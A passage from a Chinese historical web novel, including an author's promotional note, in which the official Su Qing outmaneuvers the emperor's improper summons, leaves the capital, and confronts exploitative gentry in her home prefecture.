过了一会,孙公公传出话:“今晚戌时初,让苏清进宫。” 戌时大约是晚上七点。 “那会,天都黑了吧?”吏部尚书下意识道。 是啊。 天都黑了。 皇上召一个女官进宫? 想到那日红衣的苏大人。 身量高挑,明媚漂亮。 孙公公,吏部尚书沉默。 苏清,或许这辈子,都不会离开京城了。 普通后宅困不住她。 那就让后宫困住她的一生—— 作者有话说:推推接档文《救命我被古风男高男大包围了!》《穿越做神厨》 求求大家收藏吧!爱你们! 《救命,我被古风男高男大包围了》 苏问一觉醒来,发现自己穿越了。 不仅穿越了,身边还都是各色俊美古风小生。??? 我被古风男高男大包围了? 人群里,只有一个面带温柔的男人眼中写着不耐烦,像是看到什么脏东西。 等苏问想起一切的时候,整个人都麻了。 原身作为一本书里的炮灰女配,因爱慕自己未婚夫,女扮男装进了国子监,想要陪伴在未婚夫身边。 不料愈发惹得对方嫌弃,只是碍于两家婚约,不好说什么。 等原身未婚夫考上状元后,自然第一时间去苏家退婚。 苏家因此被京城笑话多时,之后更是全家落得下狱流放,直到死在流放路上。 死之前,原身双腿残疾,硬生生冻死在路边。 想到以后的悲惨命运,苏问猛猛给老天爷磕几个响头。 以后她会离前夫哥远一点的! 绝对不会再纠缠! 夜色里的前夫哥,模模糊糊听到自己的名字,又听到纠缠二字,眼神愈发不耐烦。 可接下来几个月里,说好要纠缠他的人,只会亲近其他人。 跟将军家的幼子,尚书家的长子,侯爷家的私生子走的极近。 反而避他如蛇蝎。 她为什么对每个男人都那么好。 她女扮男装来国子监,不是为了他吗? 在前夫哥后悔万分时,国子监梨花树下,苏问被那个只会装可怜的私生子亲了脸颊。 前夫哥刚想上前,只见苏问跳了八丈远,惊慌失措道:“我不搞断袖啊!” 说着便往身后跑,正好看到前夫哥阴恻恻地看着她。 苏问:?今日撞鬼了吗! 而前夫哥跟私生子对视一眼,都从眼中看到势在必得。 而苏问本人:我只是想考个状元,不被流放而已! 真不想跟你们古风小生搞癖好! ps:ps 1.男主是古代人,早就知道女主女扮男装,1v1,不是前夫哥 2.后期前夫哥会慢慢恢复上辈子记忆,追妻火葬场不成功 3.前期科举,后期做官种田,虐渣 《穿越做神厨》 大厨苏酥正要开自己第十家连锁店私房菜时,被天降花盆砸到另一个世界。 刚睁开眼,就被后母逼着嫁人,苏酥自然不肯,偷偷从村里离开。 到了县城的苏酥举目无亲,看了一圈,为了安全起见,干脆在县衙附近支起小摊。 什么流氓匪贼,敢在捕快面前闹事吗! 苏酥笑眯眯看着每日来吃饭的冷面捕头,一口一个:“客官常来!” 冷面捕头顿了下,低声道:“不要这么说。” 苏酥捧着刚出锅的糕点,心道为了让你们捕快罩着我,小女子当然要说好听话啊! 捕头拿起点心,深吸口气:“不要随便撩人。” 啊?她撩吗?没有吧- 美食+探案 美食为主,探案为辅 小甜饼 第68章 吏部尚书今年六十九了,头发花白,满脸皱纹。 自从金陵回来后,身体一直不算很好。 要说性格,也是最平实的人,也极敬重皇上。 毕竟皇上为天子,他们是臣子。 可今日这件事,却让他有些恍惚。 这还是那个小心谨慎,性情温和的皇上吗。 刚登基的时候还好。 如今一年比一年奇怪。 虽说他也看不惯苏清做官。 但这苏清为官做人,哪点不好。 要被皇上这般侮辱。 别管她什么身份,如今已经是知府,已经是官员。 就不该这般对待。 至于自己,也不该被这般对待。 胡子一大把了,还要做这种恶心事。 孙公公的人脸上也有点尴尬。 任谁都看得出来,皇上这事办的,太让人尴尬了。 吏部尚书松垮的眼皮垂下来,回到家中,吩咐其中一个手下去告诉苏大人。 这手下明显有些诧异,见老爷挥挥手,让他赶紧去。 跟在尚书身后的幕僚低声道:“尚书大人,家里这小子是广乐府人士。” 吏部尚书眼皮依旧垂着,并不说话。 幕僚心里了然。 那广乐府籍贯的仆从今年不过十九,名叫全经武。 是六年前被家人送出来躲避战祸的。 当时他们兄弟两个,背着行李来京城投奔做小官的亲戚。 哥哥死在路上,这孩子硬生生背着尸体找亲戚安葬。 京中的亲戚见他有股义气,是个好人,便托关系让他进了当时吏部右侍郎,也就是现在的吏部尚书家中做小厮。 全经武进了这家后,全心全意办差,也被主人家亲夸几回,让他办过差事。 当时不过十三的他,还把攒下来的赏钱寄回家里。 这么过了大约三四年时间,家里不仅不让他寄钱,还托人带了家乡的物件,让他自己攒着。 说家里又分了田地,如今一切都好,又说现在的知府人很好云云。 全经武记在心里。 在苏清来京城前,也跟着同乡会帮忙,给苏知府寻合适的住处。 今年年初,因朝廷不发俸禄。 当年帮过全经武的小官亲戚家里无米粮,他去送银子的时候,亲戚只道:“我家里也不缺粮了,你且看厨房里面。” 问其原因,自然还是苏知府让人悄悄送来的。 所以全经武从尚书府离开,并未直接去找苏知府。 而是转头快步去到亲戚家中。 亲戚在京城做个小文书,只有个不入流的官职。 现在已经四月底了,一分钱收入都没有。 不是苏大人帮忙,一家都能饿的嗷嗷叫。 现在听全经武说了差事,立刻怒道:“荒唐!” “皇上为何要在这个时间召见苏大人!?” 大家本就对皇上琼林宴欲赐婚一事,感觉不妥。 现在听到这话,更加气恼。 苏知府怎么就一定要嫁人? 不嫁那顾状元,就要嫁皇帝? 全经武道:“也听老爷说过,广乐府如今富裕,不少人都盯着那个位置。” 苏清治理的太过宽松,每年收税的时候,都是按照最少的收。 有人算过,以广乐府百姓富裕程度,以及他们那药材买卖的收益。 换个严苛些的官员,一年能收二百万多万两税银,至少比去年翻两倍。 朝廷库房太穷。 少不得盯着这份银子。 想换个能多收税的官员过去。 当然,看不惯苏清是个女的,也是其中原因之一,已经不必细说了。 亲戚跟全经武都沉默。 他们都是广乐府的人。 前些年过的艰难时,少不得家乡人帮衬。 “提前告知苏大人,让他有个防备。”亲戚直接道。 全经武也是这个意思,他让亲戚家女眷过去走一趟。 等那边做好准备,他再去报信。 看着时间已经到申时初,下午三点。 距离皇上让苏清进宫的时间,还有两个时辰。 这家匆匆去办,嫌轿子太慢,女眷直接骑马过去。 本想着苏清未嫁,说不得脸皮薄,不明白皇上的意思。 岂料苏大人立刻追问:“确定是戌时?” 对方点头,又道:“大人,去不得。” 岂料苏知府却笑:“知道了。” 知道了? 难道大人真想进后宫? 这样也行吧,大人无论去哪,都可以的。 广乐府人士对苏清的信赖,已经到这种地步了! 苏清安慰道:“多谢来传话,也让我有个准备。还请你回家后,让全经武一个时辰后再来传话。” 对方自然点头,全听苏大人的。 等这人走了,武捕头脸色才沉下来。 皇上竟然是这种人。 竟然荒唐到这种地步。 要用这种下作的手段,留下苏大人?! 他是见不得广乐府好吗? 苏清让他不要生气,只道:“给我备马,我要出门。” “若有人来家,就说不知我去哪了。” 啊? 这是要让传话的人扑个空? 好像也行。 找不到人,总没有办法吧。 可对方为了办完差事,肯定要四处打听。 迟早能找到大人您吧。 苏清笑:“是啊,肯定要四处打听。” 说罢,马房的人牵着马匹过来。 苏清直接骑马奔向西城。 那边午后阳光正好,绿草如茵。 正如几个月前冯小姐所说,四五月份正适合踢球。 不少准备比赛的球队,都在这边练习。 估计谁也没想到,苏清还真能留到现在。 苏清去的时候,不少人都看了过来。 小海大人小刘大人一前一后跑来,兴奋道:“苏大人!你怎么来了!” 见冯小姐也跑过来,苏清道:“要回任地了,来看看大家。” 说到这,大家都有些沮丧。 苏大人嘴是毒了点,但人很好啊,而且很好玩。 没了她,总觉得少点什么。 不少人都来打招呼,趁机看看声名远扬的苏大人。 她本就出名。 经过琼林宴那一日后,更是名气大增。 顾状元跟她之间的故事,就差编成话本了。 而且据说状元郎至今还喜欢她。 只是苏大人一句破镜难圆,婉拒了俊朗的顾状元。 还有人说,那日苏大人过去,实在惊艳全场的。 而苏清这里穿的,正是身浅绿色衣衫,宽大袖子,碧玉簪子。 看着就让人耳目一新。 不怪顾状元喜欢。 据说那会被苏大人惊艳的,不止顾状元一人。 球场上的人本就多。 有各队球员,还有来踏青的游客。 苏清又不怯场,跟谁都能聊几句。 不多时,身边便围了许多人。 见大家聊的开心,苏清开口道:“可惜不能看你们真正比一场,也是遗憾。” 冯小姐立刻道:“这有什么遗憾的,我们队立刻就可以比。” 小海大人也道:“那我们两个队踢,怎么样?” “好啊,反正都是练习,跟谁踢不是踢啊。” 苏清却摇头:“这怎么能行,听说你们两队过几日都有比赛,现在踢一场,若受伤的话,那也太不合算了。” 话是这么说,但冯小姐他们怎么可能在意这种事。 就当为苏大人送行,他们也要踢一场足够精彩的比赛。 他们怎么可能让苏大人遗憾离开啊。 最后还是苏清道:“不如就比最简单的颠球吧,颠球不落地,一人三次机会。谁颠得多,谁就赢。” 这样一来,既没有身体对抗,大家也算各自为战。 而苏大人接下来的话,却让冯小姐等人兴奋起来:“比都比了,没个彩头,甚没乐趣。” “既是为我践行,那这彩头就由我出。” 苏清沉吟片刻:“一时之间,也拿不出什么好东西。” “不如这样,谁得了头名,我就答应谁一个要求。” “当然了,要遵纪守法那种。” 谁是头名。 苏大人就答应谁一个要求?! 小海大人立刻道:“我参加,我很厉害的!” 小刘大人看出他的想法,也道:“我也来!” 消息像长了翅膀一样,飞到京城各处。 谁赢了! 苏大人就答应谁一个要求! 这种奖励,实在让人心动。 别忘了,以苏大人如今的地位,以她的聪明。 这个奖励,既可以为自己谋利,也能为家族争光。 没看到通民府知府想请苏大人帮忙,再三请求她路过那里时,多停留一段时日吗。 所以大家说什么都要去试试的。 四月二十七,原本一个平静的京城午后。 为了给苏大人践行,热闹至极的蹴鞠颠球比赛,就要开始了! 一个人三次机会,只记最高的数字。 看看谁能得第一! 本就热闹的球场,又来了不少人围观。 京城车马轿子,把球场附近围的水泄不通。 其实大家也好奇,第一名会提出什么请求。 顾从斯,花景明等人自然也得到消息。 他们这些新科进士刚从翰林院出来,全都一头雾水,然后连忙去往西城球场。 这边人声鼎沸,热闹非常。 苏清的住处,却是冷冷清清。 来传话的尚书府仆从左等右等,等不到苏大人回家,焦急道:“皇上那边还等着呢,马上就要戌时,这怎么办啊。” 说话的人自然是全经武,他跟武捕头对了个眼色,然后才有个不长眼的人道:“你们还没听说过吗,大人在西城球场,看人家比赛颠球呢。” “他们为了大人践行,本想踢比赛的,大人为了他们着想,改为颠球。现在好多人都去看呢,去年好几支状元队伍都去比了呢。” 这些状元队伍向来眼高于顶。 可冲着苏大人,也要去比一场他们看不上的颠球比赛。 故而一传十十传百。 去晚的人,只怕挤都挤不进。 全经武又笑又恼:“怎么是这样!小的赶紧去传话!” 人多啊,人多好啊。 全经武赶到西城球场时,已经是傍晚酉时正刻,也就是下午六点。 四月底的傍晚,微风徐徐,夕阳正好。 球场内外都挤满了人,所有人都比到兴头上。 “最厉害那位,已经颠了四百多个了。” “哇!他岂不是冠军了?!” “不知道啊,听说还有高手没上场呢,正在热身。” “好玩,太好玩了。” 这种时候,全经武忽然闯了进来,眼神看着极为躲闪,四处问:“苏大人在哪。” “小的找她有急事。” “大人她在哪啊。” 有人疑惑道:“不就在前面吗,人群中间的就是她啊。” 不过这人如此着急,到底是为什么。 全经武随口答道:“皇上要召见她,定在戌时,马上就到时间了。” 皇上召见苏大人,怪不得这样着急。 全经武一路走一路问,终于到了苏知府面前。 苏清看向他,这人立刻道:“传皇上口谕,召苏清苏大人进宫说话。” “大人,方才一直找不到您。您别玩了,快走吧,马上要迟了。” 此话一出,周围人都傻眼了。 这个时候急招苏大人进宫? 为什么啊。 马上天都黑了,有什么紧急的公务吗? 原本在兴头上的比赛,忽然像卡壳一般,让人上不上下不下的。 苏清还也奇怪:“皇上急招,有什么事吗?” 全经武:“没听说,您快走吧。” “可我这一走,比赛怎么办。” 一百多个参赛选手,全都因苏大人而来。 围观的一两千观众,也是冲着他们来凑热闹。 现在说走就走? “可皇上召见,没办法啊。” 也是。 谁能违抗皇上的命令。 只是这也太扫兴了。 唯有顾从斯花景明两人脸色大变。 他们两个似乎意识到什么。 “我陪你去。”顾从斯立刻道。 苏清笑:“谁陪我去,谁就倒霉。” 顾从斯花景明肯定不怕。 花景明道:“这有什么了,我也陪你过去。” 苏清看了看被扫兴的众人。 又看向毫无察觉的冯小姐,甚至小海大人,他们单纯因为苏大人被召见而苦恼。 再看着天色逐渐暗淡,夜幕低垂。 “走吧,进宫。” “不会以为,他还敢吧。” 苏清被皇上派出的人喊走。 所谓的颠球比赛无疾而终。 众人乘兴而来败兴而返。 回家的路上,再看着夜色,再想到苏大人的容貌。 以及暗地里的传言。 不是吧?! 他们没猜错?! 少数人心中,跟吃了苍蝇一样难受,都在家里大骂皇上荒唐。 或许是他们猜错吧。 众目睽睽之下。 皇上不会做那种事吧? 她可是有功之臣,她为百姓,为士兵,做了不知多少。 这样的人,不应该被如此侮辱。 好在多数人,其实只觉得皇上扫兴。 大家玩的正热闹啊。 为什么要召见苏大人。 有什么很重要的事情吗? 毕竟在多数人看来。 皇上召见官员,是件极为平常的事。 就算时间晚了会,也是正常的。 只是勤政殿内,皇上脸色铁青。 熟悉的他的人,都知道这不正常。 众目睽睽下,把苏清喊过来。 吏部尚书怎么办的差事?! 他没有让女官内官去喊苏清,不就是为了掩人耳目。 为何要这样对朕! 苏清也是奇了。 好端端的,去球场上做什么。 旁边的孙公公微微抬头,又迅速低下去。 苏清虽来的匆忙,但还是换上官服。 到了勤政殿内,恭恭敬敬行礼。 大殿之内,只有皇上与孙公公。 现在多了个苏清。 太监领她进门,便把殿门关上。 皇上盯着苏清的脸,过了一阵才道:“爱卿玩的好蹴鞠。” 苏清惶恐:“本欲同好友告别,没想到陛下召见。” 是啊,谁能想到呢。 但要是有人通风报信呢。 只是即便通风报信。 她怎么就能吸引那么多人来为她比赛。 苏清一个口头承诺。 便让那么多踢球的人凑上前,还有那么多围观的人看热闹。 皇上越看苏清,眼神越是贪婪,不自觉走到苏清身边,低头看她:“朕召见爱卿,很惊讶?” “以爱卿的容貌性格,不仅能吸引他人为你比赛。” 苏清并不为这些话心绪不宁,也不会为这些话隐含的意思感到羞耻。 因为该羞耻的人,绝不是她。 苏清只道:“谢皇上称赞。” “不知皇上召见微臣,所谓何事。” 皇上又看了她一会。 若说白日所讲,不过是一时兴起。 现在他倒真有了兴趣。 可他真那样做了。 不需到明日,今夜就会传遍整个京城。 都知道他急召苏清进宫所为何事。 都知道他一边给状元赐婚,一边觊觎臣妻。 皇上死死盯着苏清,想从她脸上看出答案。 却只看出来平静之下的野心,还有摆在明面上的嘲弄。 越深究下去。 越知道她不是普通女人。 这样的人留在后宫,真的好吗。 这样的人,似乎还有点熟悉。 皇帝忽然看到苏清腰间的玉佩,猛然后退,忽然从苏清身上看出一个人的影子。 “退出去!” “立刻!” “滚出去!” 苏清潦草行礼,从大殿上退出,摸了摸玉佩。 旁边的小太监趁着夜色偷看一眼,只看出是朵玉兰花的模样。 只有一个年纪较长的公公,眼睛突然睁大。 太后娘娘年轻时,喜欢的就是这玉兰花。 说是看着与世无争,闻着淡雅柔和。 实则香味持久,是实打实的浓郁之花。 说做人也要这样,不要让人看出你在想什么,才能得到什么。 太后得到了很多,甚至差点夺了皇上的权。 这样看的话,苏清,竟也是这样的人? 苏清才不管其他人的眼神。 自己还真赌对了。 皇上跟太后的关系,确实可以利用。 这对母子在最艰难的时候互相扶持,一起夺权。 又因权柄闹得极凶。 所以皇帝对太后既爱又怕,知道这是他最亲密的战友,最会保护他的母亲。 同时也怕她夺权。 一旦让他意识到,他对他母亲那类女子会另眼相看时。 他自己都会疯的。 正想着,苏清远远看到一个人走过来,她目不斜视,直接从这人身边走过。 晏铮州自然也看到那枚玉佩,下颌绷得更紧。 皇帝一怕名声,二怕太后。 苏清先招来众人围观,再以仿若太后之物来让对方心惊。 直接打中对面命门。 晏铮州来了勤政殿外,没能进门,他也不纠缠,直接离开。 门内的皇帝更为生气。 而晏铮州顾不得许多,趁着夜色,直接去了另一个地方。 苏清刚换了衣服,就见晏铮州已来,顺手给他倒杯茶:“不着急的。” 晏铮州却直接拉住她手腕:“你故意的。” “故意让我以为你有未婚夫,却要一步步为你过线。” “故意在我这探听辛密,好得知皇帝的弱点。” “故意接近本王。” “想利用本王的身份。” 苏清并不畏惧,反而靠在他身上:“利用你的身份,做什么呢。” 是啊。 做什么呢。 苏清用被握住手腕的那只手,轻轻摸了摸晏铮州的下巴:“不想造反的话,就别跟我说话了。” 苏清想利用他的身份。 兵不血刃地谋取江山。 他跟他的身份,只是苏清计划的一部分。 第69章 苏清入宫不到两刻钟,便又出宫了。 这消息自然也瞒不住其他人。 让不少人都暗自道:“我内心是不是太阴暗了啊!其实就是想多了对不对。” “我思想肮脏,我对不起皇上啊。” 只是被打断颠球比赛,暂时组织不起来了。 因为苏大人的文书已经下来。 原定在五月初八离京,现在改为五月初三。 收拾行李的时间,只剩四五天了。 好在苏清东西不多,此处房子也有同乡会的人帮忙处置,不用她管。 即便如此,她还是每日待客。 顾从斯花景明等人不必再说,新科进士在六部以及翰林院实习。 实习之后,再看留京还是外派。 除了进士之外。 还有没考上的那些人。 比如说汪鹤。 汪鹤如今还是汪举人,进士放榜之后,他才知道,苏大人让他不要理会其他人的招揽,那是什么意思。 京城不少官员知道,他对政务极为熟练,还去赈过灾,同时又在等着补官。 都让管家登门拜访,想让他辅佐自家孩子。 没错,这些官员的子侄们,已然考上进士。 如今在京中还好,若外派出去,少不得有经验丰富之人提点。 汪鹤人品好,业务能力强,自然入了大家的眼。 若能让他当自家子侄的辅官,那是再好不过了。 但汪鹤谨记大人之令,并不松口,只说等朝廷派官。 等苏大人这边有所指点,他才接触了一户人家。 这户人家姓王,儿子是今年的新科进士,学问虽好,性格却有点软,很需要有人辅佐。 而汪鹤接触之后,再按照苏大人所说,愿意跟在这位新科进士左右,并说服他家派官到皋青州 这家原本并不乐意。 觉得皋青州容易吃苦。 可汪鹤却告诉他们:“天降大任于斯人也。” “皋青州已然平安,只会出政绩,不会有危险。” 王家终于心动。 他家使力,把汪鹤,以及汪鹤推荐的三四个举人都塞到皋青州做官吏。 等汪鹤他们熟悉情况,那王进士就能直接过去,到了之后,就能平步青云,好不快乐。 “本以为我们与苏大人能一起出发,现在估计要分两路。”汪鹤道。 苏清这边提前了,他们那边确实跟不上。 苏清道:“也好,你们直接去皋青州即可,那边我都安排好了。” 汪鹤立刻点头,他会带着大家过去的:“我们到地方了,就立刻给大人您去信。” 安排好皋青州的官吏,甚至安排好未来知州,苏清又了却一桩事。 接下来便是冯小姐,方大人,齐内官等等。 不过最意外的,还是梁公公偷偷主动上门。 要说梁公公被皇上厌弃,多半因为,他跟苏清关系不错,但没有打听出苏清跟顾从斯退婚的事。 这更多是迁怒。 但也让梁公公心凉了半截。 天知道,他是真的一个字也没说,已然十分忠心。 就算这样,还是被斥责,如今换了孙公公在身旁。 所以梁公公过来,算是求和。 以后双方还是互有往来,彼此有个照应。 苏清没有多讲,双方算是暂时讲和。 只是齐内官拿着三瓶今年刚产出的益气养神丸送给皇上时。 梁公公才深知什么是后悔。 齐内官只说,他用了方法从南江县弄来的,对此皇上十分满意,对他比对孙公公还要好。 因为不管皇上还是梁公公,孙公公。 无论怎么查,人家齐内官确实是从南江县高价买来的,跟苏清毫无关系。 这份忠心耿耿,才是皇上要的。 可别人不知就算了。 梁公公还能不清楚,这里面肯定是苏清的手笔。 这人想捧谁,谁就能被捧到天上去。 不理睬谁,谁的心便跟油煎一样。 比如,本来觉得顾从斯退后,自己就有机会的花景明。 却一直没有机会上前。 既是苏清在躲,也是顾从斯从中搞鬼。 以至于五月初三,苏清离开之时,两人都没单独说过话。 花景明极为失望,心里更多了焦急。 但再想想,最大的威胁顾从斯已经没了,苏清为了官职也不会轻易成亲,才渐渐安心。 苏清离京这日,不少人都来送她。 尤其是方大人冯小姐等,全都受过她的帮助。 除了广乐府的人之外。 通民府那边也有人来送。 不过不是通民府同乡会,而是一些普通百姓。 他们心中的期盼,苏清知道的,就是希望她回去时路过家乡,能多停留一段时日。 对于这点,苏清肯定会做的。 那可是梅娘的老家,能帮的一定会帮。 苏清带着武捕头再次跟众人告别,武捕头跟大儿子也挥挥手。 一行十二三人出了京城,苏清看到城外茶馆里等待多时的全经武。 他给苏清通风报信,还在大庭广众之下说了皇上召见之事。 无论是为了他自己,还是为了吏部尚书,都不能待在京城。 苏清最近几日问他,愿不愿意回广乐府,全经武自然愿意,那尚书府自然愿意放人。 以后他就跟着苏清做事,也能回家看看爹娘。 办完京中最后一件事,苏清一行人正式启程。 自去年腊月二十二到京城,如今五月初三,已然过了太久。 若非广乐府都是自己的人手,这般出来,说不定乱成什么样。 说起来,其他各地长官都已经到任地了,也就她刚刚启程。 要说全然没有收获,倒也不是。 至少让祝芳洁官职坐定,女子参加童试有了先例。 以及跟京城不少官员多些联系。 再者,晏铮州也不能再装傻,他明知道自己要的是什么。 除此之外,大概是她有了翰林的经历? 哎,皇上心里不定怎么气恼。 但这跟她苏清有什么关系。 赶紧跟你母后夺权去吧。 上次琼林宴太后称病不去,就不是什么好征兆。 一直到五月初九,武捕头远远就看到前头有人等着。 定睛看去,正是通民府陈知府身边长随。 苏清快到老家时,给陈知府去了信件,没想到他们在官道上接人。 双方寒暄不提,一路到了通民府府城。 这不仅是苏清头一次过来,记忆里也是没有此地的。 只见这府城城墙古朴,街道井然有序,就知此地追溯往上,也是一重地。 可这些年运道不好,盗贼林立,收成也差,以至于饥荒遍野,民不聊生。 陈知府去年上任,也是好好管过的,但苦于没有成效。 所以想请苏清过来帮忙看看。 有没有什么法子,让这些事情有所缓和。 苏清听到这话就头疼。 让这些事情有所缓和,听着起来简单。 但任何一件事拆分下来,都是无数难题。 看着陈知府憨厚的表情。 苏清心道,能当知府的,哪个简单。 原来这位在京城时候就费心让她来此。 只有一个目的。 那就是在他的任期内,约束本地大户豪强,让他们尽量收敛。 虽然知道对方想法,苏清还是要假意装作不知,只道:“陈大人不要开玩笑了,这般笼统的说法,实在不是下官能办成的。” “这次在通民府停留,也是想完成母亲心愿,回我老家赵镇县看看。” 见苏清不松口气,休息一日就要去赵镇县。 陈知府这才皱眉,不过还是安排人手陪着,说是官道上还好,小路上多有匪贼,必须小心。 苏清自然不会拒绝这份好意,五月十一从府城去往赵镇县。 也就是苏县令跟梅娘的老家。 苏家跟梅家是一个县两个村的人,相隔不过二十里地。 当天晚上,苏清一行人便到县里,苏家大伯大伯母跟梅家大舅二舅,两个舅妈都来接。 说起来,苏清对他们很是陌生。 不管是原身的记忆,还是她自己,对他们两人都没什么印象。 不过看着大家相似的面庞,那点陌生感又散了些。 大伯舅舅他们见到苏清要拜,她怎么肯,慌得赶紧拦住:“要是我娘知道,肯定要打我的。” 众人听了笑。 这才想起苏清今年不过二十一,确实要听母亲的话。 大家坐下叙旧,在县城住了一晚。 第二日上午去了苏家,带着京城采买的礼物拜见苏家祖母。 第三日同样带着礼物去梅家,又陪了外祖两人,算是帮母亲尽孝。 其中梅家表弟表妹,都是二舅妈家的孩子,说起他们两个,二舅妈心里念叨得厉害。 这期间,还有县令官员来拜,以及当地乡绅宴请。 苏清也算知道,为什么有自己这个做官的在,苏家梅家的日子,也只是勉强能过。 因为苏家村也好,梅家村也好。 除了祖母跟外祖家能保住家里几十亩田地。 其他将近八成的土地,都在县里大户手中。 用的手段也不新奇,就是趁着灾年半抢半卖,放高利贷等等。 苏清做官多年,这些都是见过的。 但没办法。 底层农户的家底太薄,稍微遇到天灾人祸,就要变卖土地房产。 若不遇到大机缘大变化,很难翻身。 苏清祖母跟外祖两家,若不是有苏清这个靠山,也保不住这些土地的。 故而苏清无论去哪家,都对她极好极感激。 当然,祖母还问了苏清三叔去哪了。 苏清先说了战乱逃跑的事,他们也都知道。 接着道:“之后他去哪,就不知晓了,但三婶跟表弟苏溪都在我那。” 苏溪今年还参加童试,过了县试那一关,未过府试。 对十五岁的少年人来说,已然不错的。 苏祖母没再多问,只是慈爱地拍拍苏清的手。 她做的已经够好了。 大伯大伯母也是这样想的,不过他们两人还有个请求。 他们的孙儿今年八岁,在家里吃饭还好,却读不起书。 “所以想请你带他去广乐府。”大伯母跟表哥表嫂都很不舍。 但不把孩子送出去,真的不成。 苏清肯定没意见,就看孩子的想法。 若说梅家表弟表妹肯定也是不愿意去投奔他乡的,但两个孩子已经十三,懂些道理,知道不去不行。 可苏大孙今年不过八岁,家里人都和善,他哭着不想离开家,实在正常。 全经武对此感触最深,忍不住感慨道:“若家里好,谁愿意去外头。” 他当年就是因为家里战乱,所以离开。 苏清外祖跟祖母让孩子们离开,则因为本地匪贼多,大户蛮横。 苏大孙还在哭。 两个村子其他人家,也怯生生登门。 目的都一样。 能不能请女官大人,把孩子们带去广乐府。 去那边也有口饭吃的,家里真的养不活了。 甚至有些青壮年,都想跟着离开,去广乐府讨生活。 他们可没当官的亲戚,别说读书了,饭都吃不起。 无田无产的,还是换个地方讨生活吧。 这般场景,苏清只得叹气。 陈大人啊陈大人,那么痛快放我回老家。 估计早就猜到这般场景了吧。 苏清看着乡亲们期盼的眼神,认真道:“不要着急,大家也都想想。我这段时间都在咱们通民府,就算不在祖母,外祖家中,也在府城。” “我走之前会同大家说,到时候想跟着我去的,就把孩子们都带上。” 苏清说话温和,气势却足,让人不得不信。 在赵镇县待了五天,苏清老老实实回到府城。 果然,陈大人笑着看她,一脸果然如此的表情。 两人都明白,通民府情况严重。 必须有个人站出来,让本地豪强有所收敛。 在陈大人看来。 只有通民府出身的苏清能够做到。 陈大人更知道,苏清不可能装作视而不见,真的什么也不做。 “苏大人老家赵镇县,算是通民府二十一个县里,情况最好的了。”陈大人道,“也是幸运。” 苏清身边人,甚至觉得他在说反话。 可大家一路走来看到种种惨剧,又闭嘴了。 赵镇县似乎真的不算最差。 苏清开口道:“陈大人,能不能讲讲京城的通民府同乡会。” 见苏清抓住重点,陈大人立刻笑:“苏大人果真敏锐。” 两人身边都是自己人,不怕说些大实话。 陈大人就把自己知道的,全都说出来。 之前提过,京城有各地的同乡会。 广乐府同乡会不必多提,他们主动找到苏清,虽说大家都没什么钱,但主动找房子,安排住处。 之后苏清也投桃报李,用广乐府衙门的拨银,给广乐府众人补贴。 但苏清的身份,不仅是广乐府知府,还是通民府籍贯。 这也是陈大人结交的主要原因。 可通民府在京城的同乡会,一次也没有找过苏清。 要说以苏清的名气,应该不至这般。 为何不找呢? “自是因为,你名声太盛。” 广乐府那些土豪乡绅,横行无忌的大户,基本都被她收拾了。 南江县不用说,等苏清做了知府,把各县县令换成自己人,又是一通收拾。 聪明点的,就自己吐出吃下的银子跟土地。 不聪明的,便由当地官员动手,说是抄家也不为过。 就连花家这样的门户,也要同苏知府合作,更要把烂账或遮掩或收拾干净。 广乐府全经武家的田地就是这么回来的,所以他听着并不陌生。 但这是以普通人视角来看的。 大家自然觉得功德无量,自然拍手叫好。 若以乡绅大户的视角来看。 则是完全的恐怖片了。 通民府被当地乡绅大户吃了个干净。 地主们把持土地,把持官场,甚至京城的同乡会,也是他们为主。 既是这种情况,他们躲还来不及,怎么可能主动接近苏清。 估计陈大人跟苏清联系的时候,全都满头大汗。 陈大人道:“确实威胁过我,但也没办法,咱们也是朝中官员,并不敢直接动手。” 他们的安全能得到保证。 通民府的情况,却依旧很糟。 这些话说完,每个人心里都沉甸甸的。 陈知府道:“通民府的情况,就是这样了。” 苏清思索片刻,开口道:“你一直没提盗贼的事。” 陈知府顿了下,无奈:“就是你想的那样。” 本地盗贼土匪跟乡绅们都有联系。 如若本地百姓反抗,乡绅会把农户们的地址给他们。 之后发生什么,不用多讲。 这般恶劣行径,堪称无法无天。 所以陈知府请苏清来此,便是以本地官员的身份,以她的名气,约束这些豪强。 当天晚上,苏清心情跌倒谷底。 对她来说,京城那些所谓的刁难所谓羞辱,都不会放在心上,甚至没什么多余的情绪。 可通民府的事,却让她心里发沉。 尤其是对比京城的荒唐,这里的百姓才是真正的苦命。 无论哪里来看。 顺昌国都是亡国之相。 苏清叹口气,在窗边坐了许久。 第二日醒来,又是新的一天。 已经到五月十七,天气已经十分炎热。 本地麦子也到成熟的季节,此地的夏收快要开始了。 但这里多数田地,都是本地地主的,在田地上赤裸身子干苦力的,都是佃户长工。 女人的日子更不用提,她们同样要下地干活。 五岁的小娃娃已经会烧火做饭。 每个人都是瘦骨嶙峋。 偏偏这时候,有个地方又有山贼作乱,本地官兵去了,那边才散。 别说陈大人,就连苏清听着,都头疼的厉害。 如此情形,怪不得陈大人着急,他现在就等着苏清给个主意。 即使不能彻底解决,也要让本地乡绅的气焰,不那么嚣张。 此事只能让苏清来做,她是通民府的出身。 还是通民府出身里,做了最大官的。 由她出面,自然能管辖一二。 不管陈知府打的什么主意,这个思路是没错的。 苏清道:“既然这样,那就请陈知府下帖,邀府城以及其他各地有名姓的乡绅豪强,来府里做客。” “只当为本官接风。” 啊? 陈大人愣住。 他是想用苏清的名号,也想让苏清出头。 但直接把她推到风口浪尖。 这有点不妥吧。 未免有些嚣张。 简直是一口气得罪本地所有乡绅啊。 苏大人是在嘲讽自己吗。 可苏清一脸真挚:“请吧。既然我是本地人里,做官做得最大的,想来他们早就想巴结了,给个机会。” 他们忌惮苏清,同样又想巴结苏清,这本就不冲突。 果然,陈知府的帖子送出去,接风宴定在五月二十四,请大家来府城赴宴。 各家虽迟疑,但多数家主等人还是应邀。 “为苏大人接风洗尘,自然求之不得。” “苏知府衣锦还乡,我等早就该来的。” “能来陈苏两位大人的宴席,是我等的荣幸啊。” 说话间,府城五家大户,下面二十一个县,四十多家主,其中大半都带着各色礼物来府城。 每家的礼物,皆带的格外厚重。 若能打通苏清这层关系,情况肯定不同。 虽说正值秋收,各家都忙得厉害。 可两位知府,尤其是本地出身是苏知府相邀,还是要聚一聚的。 万一她对同乡的情谊不同,不收拾他们呢。 即便是收拾他们,也有个心里准备。 至于十多家不愿意来的,那就是对苏清有绝对的“信心”,让他们过去肯定没好处。 既然这样,何必去贴冷脸,不如在家做自己的土皇帝。 这样想着,陈知府这个接风宴便无比热闹。 只是让人没想到的。 